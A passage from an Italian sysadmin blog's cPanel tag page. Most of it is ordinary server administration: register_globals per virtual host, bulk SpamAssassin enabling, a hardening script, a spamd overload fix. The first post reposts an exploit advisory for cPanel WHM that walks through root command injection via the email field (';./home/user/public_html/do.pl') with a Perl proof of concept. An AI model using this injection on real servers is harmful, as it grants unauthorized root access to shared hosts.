Il blog di morphey
Post con tag cpanel
cPanel bug: Accesso root tramite account reseller
20 mag
E’ appena uscito un bug per il WHM di cPanel: tale bug permette ad un attaccante di avere accesso root tramite un semplice account rivenditore.
Ecco la descrizione (in inglese) dell’exploit:
By : Ali Jasbi ( IHST security & hacking Research team) WwW.Hackerz.ir
Vendor : Cpanel.net
Version : ALL !!
Risk : Very high
What u can do with this bug is :
u can have a access to all the server with reseller privilege (Th3 r00t)
how it’s work ?
when u want to create an account in shell what will happen ?
./script/wwwact [domainname] [username] [password] [Email address] lab lab lab
that u can run it with a web base program ! ( cpanel : doamin:2086)
example :
http://domain:2086/scripts/wwwacct [domainname] [username] [password] [Email address] lab lab lab
it means you got a access to wwwacct in the scripts folder (Th3 r00t)
so u can run other command with root access like that
./scripts/wwwactt domain.com domain password ali@hackerz.ir;./home/hackerz/public_html/do.pl ( your command now is ./home/hackerz/public_html/do.pl)
that u can Likewise run it on the web base program.what u need to do is just write ali@hackerz.ir;./home/hackerz/public_html/do.pl in Email text box when u want to create an account.
()()()()()()()()()()()()()
Test it:
++++++++++++++++++++++++++
Step 1Save this file in /home/user/public_html/do.pl .
#!/usr/bin/perl
$old=’/home/user/public_html/test.txt’;
$new=’/home/root/kon.txt’;
rename $old, $new;
++++++++++++++++++++++++++
step 2make a text file named test.txt in your public_html directory.
path will be : /home/user/public_html/test.txt .
++++++++++++++++++++++++++
step 3create an account and write ali@hackerz.ir;./home/user/public_html/do.pl in E-mail Address text box
then click on the “create” button.
Yes , you can find your file in /home/root/ .
++++++++++++++++++++++++++
()()()()()()()()()()()()()
you can run your own code !(mass defacer, exploit’s or everything that u want).
Popularity: 6% [?]
(No Ratings Yet)
Loading ...cPanel: register_globals sul singolo virtualhost con apache 2.x e mod_suphp
20 mar
Vediamo come modificare un solo virtualhost senza perdere le modifiche alla rigenerazione dell’httpd.conf di apache.
Se non esiste, creiamo la cartella /usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/
Possiamo sostituire “std” con “ssl” se vogliamo modificare il virtualhost “solo” per l’ssl.
Se usiamo apache 1.x dobbiamo cambiare il “2” con “1“.
Creiamo un file di nome user.conf (o di qualsiasi altro nome, l’importante è che risulta l’estensione .conf).
In questo file mettiamo le direttive specifiche per questo dominio in modo che prende le variabili personalizzate del php.ini da un altro file.
Nell’esempio, vogliamo attivare il register_globals solo per questo dominio.
Il mod_suphp permette di personalizzare questo path con la direttiva “suPHP_ConfigPath“:
### /usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/user.conf
<IfModule mod_suphp.c>
suPHP_ConfigPath /usr/local/Zend/register-enabled
</IfModule>
In questo modo, riavviando apache (non lo facciamo ora pero’), il virtualhost andra’ a cercare il php.ini dentro la directory /usr/local/Zend/register-enabled creata ad hoc:
mkdir -p /usr/local/Zend/register-enabled
touch /usr/local/Zend/register-enabled/php.ini
Nel file /usr/local/Zend/register-enabled/php.ini metteremo, quindi, la direttiva per l’attivazione di register_globals:
## /usr/local/Zend/register-enabled/php.ini
register_globals = On
Prima di riavviare apache, dobbiamo istruirlo per far includere i files appena creati.
Per fare questo lanciamo il seguente comando:
/scripts/ensure_vhost_includes –user=UTENTE
Al termine, possiamo riavviare apache e il lavoro e’ finito.
Per curiosita’ e verifica, possiamo editare /usr/local/apache/conf/httpd.conf e vedere nel virtualhost del dominio se effettivamente le modifiche hanno avuto effetto.
Possiamo notare:
Include “/usr/local/apache/conf/userdata/*.conf”
Include “/usr/local/apache/conf/userdata/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/*.conf”
Include “/usr/local/apache/conf/userdata/std/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/2/*.conf”
Include “/usr/local/apache/conf/userdata/std/2/*.owner-root”
Include “/usr/local/apache/conf/userdata/std/2/UTENTE/*.conf”
Include “/usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/*.conf”
Popularity: 10% [?]
(No Ratings Yet) Loading ...
cPanel: Abilitare spamassassin a tutti gli utenti
15 gen
Nel WHM di cPanel manca qualcosa molto utile per gli admin del server.
Stiamo parlando dell’abilitazione di Spamassassin per tutti gli account in un solo colpo.
E’ vero che abbiamo nella sezione “Exim configuration editor” la possibilità di flaggare “SpamAssassin: Enable for all users without the option for users to shut off per account”: questo fa si che venga abilitato spamassassin su tutti gli account, ma è anche vero che disabilita di fatto il pulsante “Disable spamassassin” nel singolo cPanel dell’utente impedendo a quest’ultimo di scegliere se abilitarlo o meno.
Spizzando il forum di cPanel ho trovato un post molto interessante che ho testato personalmente.
Creiamo su /root/ il file enabless.sh con questo contenuto:
#! /bin/sh
M_FILENAME=$1
#echo $M_FILENAME
M_USERNAME=`find $M_FILENAME -printf %f`
#echo $M_USERNAMEtouch /home/$M_USERNAME/.spamassassinenable
chown $M_USERNAME.$M_USERNAME /home/$M_USERNAME/.spamassassinenable
touch /home/$M_USERNAME/.spamassassinboxenable
chown $M_USERNAME.$M_USERNAME /home/$M_USERNAME/.spamassassinboxenableecho $M_USERNAME complete
echo
Impostiamo il chmod del file a 700.
Lanciamo questo comando:
find /var/cpanel/users -type f -exec /root/enabless.sh {} \;
Questo creerà per ogni account utenti i files .spamassassinenable e .spamassassinboxenable ciò che serve per abilitare automaticamente spamassassin.
Popularity: 9% [?]
(No Ratings Yet) Loading ...
Sicurezza: rendere sicuro un server linux (compatibile con cPanel e DirectAdmin)
10 gen
Volevo segnalare questo fantastico script, che installa in automatico tutte le versioni più recenti dei sistemi di Firewall, Antiflood e altro ancora.
Dal sito di Server Monkeys :
- Install RKHunter
- Install RKHunter Cronjob which emails a user-set email address nightly
- Install/update APF
- Add SM/TP monitoring IPs (view information on these in Orbit)
- Install/update BFD
- Install CHKROOTKIT
- Install CHKROOTKIT Cronjob which emails a user-set email address nightly
- Disable Telnet
- Force SSH Protocol 2
- Secure /tmp
- Secure /var/tmp
- Secure /dev/shm
- Install/update Zend Optimizer
- Install/update eAccelerator
- MySQL 4.0 and 4.1 Configuration Optimization (cPanel only)
- Upgrade MySQL to 4.1 (cPanel only)
- Tweak WHM Settings for security and stability
- Configure RNDC if not already done (cPanel only)
- Change SSH port (also configure APF as necessary)
- Add wheel user and disable direct root login over SSH
- Optimize MySQL tables
- Install/update Libsafe
- Install/update ImageMagick (from latest source)
- Uninstall LAuS
- Harden sysctl.conf
- Install Chirpy’s Free Exim Dictionary Attack ACL
- And more!
Tutto questo compatibile con:
Popularity: 8% [?]
(No Ratings Yet) Loading ...Spamassassin: soluzione al problema di overload
9 gen
Ultimamente gli sviluppatori di Spamassassin non stanno più sviluppando il software antispam.
Chi ha attive le quote sulla macchina linux (parlo per gli utenti di cPanel) ha potuto constatare che per un bug di spamassassin ancora non corretto, se un utente ha lo spazio sul proprio account esaurito, spamassassin va in overload facendo piantare di fatto la macchina.
Tutto questo perchè, a quota esaurita, se un utente riceve ancora email (che chiaramente vengono inviate indietro con il messaggio “Mailbox is full”) il file .spamassassin presente nel suo account rimane letteralmente bloccato facendo freezare di fatto il processo di spamd associato portando inesorabilmente il load della macchina a livelli molto alti compromettendone la stabilità e gli altri servizi.
Per risolvere il problema gli sviluppatori di cPanel hanno fatto loro stessi una patch che sembra risolvere a metà il problema.
La soluzione più ovvia è quella di patchare spamd come dicono loro.
Prima di tutto eliminiamo tutti i files .spamassassin (non preoccupatevi, sono files temporanei di spamd per ogni utente) in modo da liberare spazio su tutti gli account:
find /home -name .spamassassin | xargs rm -rf
L’operazione può richiedere alcuni minuti.
Infine patchamo spamd e lo riavviamo in questo modo:
/scripts/autorepair spamd_dbm_fix
/scripts/restartsrv_exim
Popularity: 6% [?]
(No Ratings Yet) Loading ...
Commenti recenti